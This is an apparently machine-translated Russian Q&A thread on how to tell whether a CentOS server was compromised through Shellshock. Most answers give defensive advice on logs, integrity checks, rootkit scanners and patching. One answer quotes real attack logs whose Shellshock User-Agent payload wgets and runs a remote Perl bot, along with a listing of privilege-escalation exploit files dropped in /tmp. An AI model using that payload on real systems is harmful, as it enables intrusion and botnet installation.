Три вопроса, на которые, я надеюсь, кто-то сможет ответить:
Я использую CentOS 6, стек LEMP
Как я узнаю, что мой сервер уже взломан из-за ошибки Shellshock?
Вы этого не сделаете. Это идея уязвимости в системе безопасности. Если бы вам пришлось нажать Впустить крекеры? ОК / Отмена это не было бы большой уязвимостью.
Возможно, вам повезет с проверкой журналов ваших векторов атак, но, учитывая, что так много сервисов уязвимы и не все из них регистрируют каждый доступ, вероятно, невозможно окончательно обнаружить атаку.
Если он был взломан, есть ли конкретная папка, в которой я должен искать вредоносные файлы?
Нет, вредоносный файл может быть где угодно.
Общие руткиты устанавливаются в /root
или /
или /tmp
или один из двоичных путей, но на самом деле они могут быть где угодно. У них может быть имя аналогичный к реальной услуге или чему-то "важному", похожему на "IPTables
" или "kernel-bin
"но они также могут быть случайными строками символов или иметь то же имя, что и настоящий двоичный файл (только по другому пути). Вы можете заметить действительно очевидную загрузку руткита в /etc/rc.local
или устанавливая связи через netstat -neopa
. Ищите подозрительные имена процессов в top -c
.
Менее распространенный и гораздо более трудный для поиска руткит заменяет библиотеку или загружается как библиотека прокладок и перехватывает системные вызовы. Это практически невозможно найти, если вы не выполните strace / ltrace каждого отдельного объекта, работающего в вашей системе, и не сравните его поведение с ожидаемым поведением заведомо исправной системы или исходного кода.
Было бы быстрее, проще и убедительнее просто перезагрузить систему.
Как выглядит вредоносный файл?
Наверное, как и любой другой обычный двоичный файл или библиотека ELF. Также это может быть сценарий.
В заключение, если вы считаете, что существует вероятность того, что ваша система была взломана, относитесь к системе так, как если бы она была взломана, и примите необходимые меры.
shellshock - это не червь, поэтому файлов для поиска нет. Shellshock - это способ атаковать сеть, чтобы получить доступ. Попав внутрь, неизвестно, что сделает злоумышленник.
Я видел одну попытку использовать ошибку, при которой бот IRC устанавливался как /var/tmp/x
. Но, как правило, нет никаких конкретных файлов, которые нужно искать, поскольку они могут быть где угодно или нигде.
Если вас скомпрометировали через веб-сервер, то любой новый файл или процесс, принадлежащий пользователю веб-сервера, будет подозрительным.
Если злоумышленник первым использовал bash
ошибка для входа в систему и следующая локальная уязвимость, чтобы стать root
, это может стать почти невозможным.
Также посмотрите на это аналогичный вопрос.
Я бы повторил ответ suprjami и сказал, что если ваша система уязвима, вы должны рассматривать ее как скомпрометированную.
Если вы используете apache, вы можете проверить журналы на предмет попыток вторжения Shellshock с помощью следующей команды:
[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"
Эта команда извлекает все строки, содержащие «cgi» из журналов доступа Apache (по умолчанию называемые access_log, access_log.1, access_log.2 и т.д.), а затем направляет их в egrep с регулярным выражением.
(Источник: http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash)
Поскольку существует несколько векторов атак для Shellshock, некоторые из которых пока неизвестны широкой публике или вызваны специальным сценарием CGI, нет однозначного способа определить, скомпрометированы вы или нет.
В дополнение к обычному подходу «давайте посмотрим, не изменились ли какие-то системные файлы или что-то еще подозрительное произошло в последнее время», вы можете следить за поведением вашего сервера.
netstat
показать странные сетевые подключения или ps aux
показать процессы, которые вы не узнаете? Если у вас есть надлежащий мониторинг состояния сервера (например, Zabbix
), он также может помочь вам обнаружить бреши в безопасности. Вы также можете сравнить суммы MD5 / SHA системных файлов с заведомо исправной резервной копией.
Просто действуйте так, как будто ваш сервер был взломан, и исследуйте все, что вы можете придумать.
Я просто имел удовольствие очистить скомпрометированную старую систему Plesk. Первое, что выдало его, - это многочисленные процессы, которые начали прослушивать ряд портов, а другие пытались загрузить код с исходного сервера сканирования.
lsof -i -n
...
perl 1899 user100 3u IPv4 227582583 0t0 TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
perl 1999 user101 3u IPv4 227582597 0t0 TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
perl 2016 wwwrun 3u IPv4 227549964 0t0 TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...
Следуя журналам, я обнаружил, что конечной дырой была cgi_wrapper
скрипт, то, что должно было защищать и экранировать систему, на самом деле прорезало дыру в защите. Вот несколько строк журнала от зондов и успешной атаки:
Это строки из access_log, так как это всего лишь образец, обратите внимание на 200 в двух строках, в то время как другие не работают с 404. Вам не нужно беспокоиться о строках с 404, поскольку они не удались, но те, у кого 200, сделали. Шаблон этих атак здесь всегда один и тот же: 1. Найдите уязвимый сценарий cgi, используйте эксплойт shellshock для загрузки и выполнения сценария perl, снова удалите сценарий perl. Сценарий perl фактически загружает некоторые исходные файлы (tgz), компилирует и запускает их, из того, что я видел, они включают как минимум бэкдор и механизм автоматического обновления, а также то, что похоже на эксплойты, чтобы попытаться получить повышенные привилегии выполнения. Все начальные сценарии фактически выполняются от имени пользователя, указанного оболочкой, в то время как последующие службы запускаются с PPID равным 1 (запускаются из корневого процесса)).
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
И вот соответствующие строки error_log:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03-- http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34-- http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
Файлы, загруженные в / tmp Как можно догадаться, файла bot.pl у меня нет, так как он сразу удаляется.
-rwxr-xr-x 1 user100 psacln 187 Sep 29 01:02 check
-rwxr-xr-x 1 user100 psacln 9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100 psacln 4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100 psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100 psacln 178 Sep 29 03:35 payload.c
cd ./expls
drwxr-xr-x 2 user100 psacln 4096 Sep 29 03:13 1
drwxr-xr-x 2 user100 psacln 4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100 psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100 psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100 psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100 psacln 2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100 psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100 psacln 6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100 psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100 psacln 6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100 psacln 2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100 psacln 4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100 psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100 psacln 1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100 psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100 psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100 psacln 9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100 psacln 419 Sep 29 02:03 origin
-rw-r--r-- 1 user100 psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100 psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100 psacln 3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100 psacln 2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100 psacln 208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100 psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100 psacln 7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100 psacln 233 Sep 29 03:13 run
-rwxr-xr-x 1 user100 psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100 psacln 3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100 psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100 psacln 4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100 psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100 psacln 2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100 psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100 psacln 159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100 psacln 9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100 psacln 2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100 psacln 438 Sep 29 03:13 start
-rwxr-xr-x 1 user100 psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100 psacln 5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100 psacln 25396 Sep 29 02:46 x86_64.c
Через некоторое время я заметил ssh-соединения из разных мест, например из Китая, которые обычно не так часто посещают наш сервер. Я пропатчил bash в качестве экстренной меры (было бы неплохо иметь исправленные источники, доступные на веб-сайте FSF, а не только действительно СТАРЫЕ источники и файлы исправлений (один из которых сначала не применялся правильно). Система запланирована на полное протрите сейчас, так что если кто-то ищет что-то еще об атаке, вы можете спросить, но сделайте это как можно скорее.
Этот ответ не имеет отношения к Shellshock, но для любой системы, которую вы считаете скомпрометированной.
Второе примечание: нельзя быть уверенным, что вы восстановились после взлома корневой системы. Ваше единственное действие - уничтожить и повторно подготовить систему.
Попробуйте получить чистую статическую сборку rpm
и запустите команду rpm --verify --all
. Он сообщит вам, какие файлы, принадлежащие пакету, были изменены. Но поскольку вы можете запустить его в скомпрометированной системе, вы не можете полностью доверять результату. Тогда вы можете просто сделать rpm -qa
чтобы получить список пакетов, воссоздайте другую систему с теми же версиями пакетов, а затем find / -type f |xargs -r -n 100 md5sum |sort
в обеих системах и посмотрите, что отличается. Кроме того, если вы правильно управляете своей системой (то есть не устанавливаете ничего вручную за пределами / opt или / usr / local / bin или другого неуправляемого места), вы можете искать все файлы в своей системе, которые не принадлежат пакету, с find / -type f -exec rpm -qf {} \;
. Он должен показывать ошибки для неизвестных файлов. Я позволяю вам не показывать позитив в качестве упражнения ;-)
Чтобы периодически делать то же самое с криптографическим доказательством, существует инструмент под названием Tripwire
которую вы все еще можете найти как бесплатную версию. Он старый, но делает свое дело. Более новая альтернатива - AIDE
, но когда я смотрел на него много лет назад, он не использовал криптовалюту.
Есть несколько инструментов, которые могут помочь. Например, ищите пакет rkhunter
. Он просканирует ваш компьютер на предмет известных корневых наборов инструментов и используемых файлов.
Очевидно, что эти инструменты должны быть установлены и настроены до того, как система будет скомпрометирована, и эти инструменты также могут стать целью, если ваша система успешно взломана для получения корневого доступа. Кроме того, эти инструменты могут быть очень интенсивными и замедлять работу вашей системы.
Единственный способ узнать, скомпрометирован ли ваш сервер, - это иметь где-нибудь подпись ваших файлов и сравнить с ней ваши текущие файлы. Тем не менее вы можете увидеть, уязвимы ли вы.
Как узнать, скомпрометирован ли ваш Linux-бокс.
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Если если возвращается
vulnerable
this is a test
ты.
Чтобы запустить обновление, под root выполните следующую команду
sudo yum update bash
Вы можете проверить, уязвимы ли вы, выполнив следующие команды (код предоставлен CSA). Откройте окно терминала и введите в командной строке $ следующую команду:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Если ваш bash НЕ обновлен, он напечатает:
vulnerable
this is a test
Если ваш bash обновлен, вы увидите только:
this is a test
Более подробная информация доступна за этим ссылка на сайт.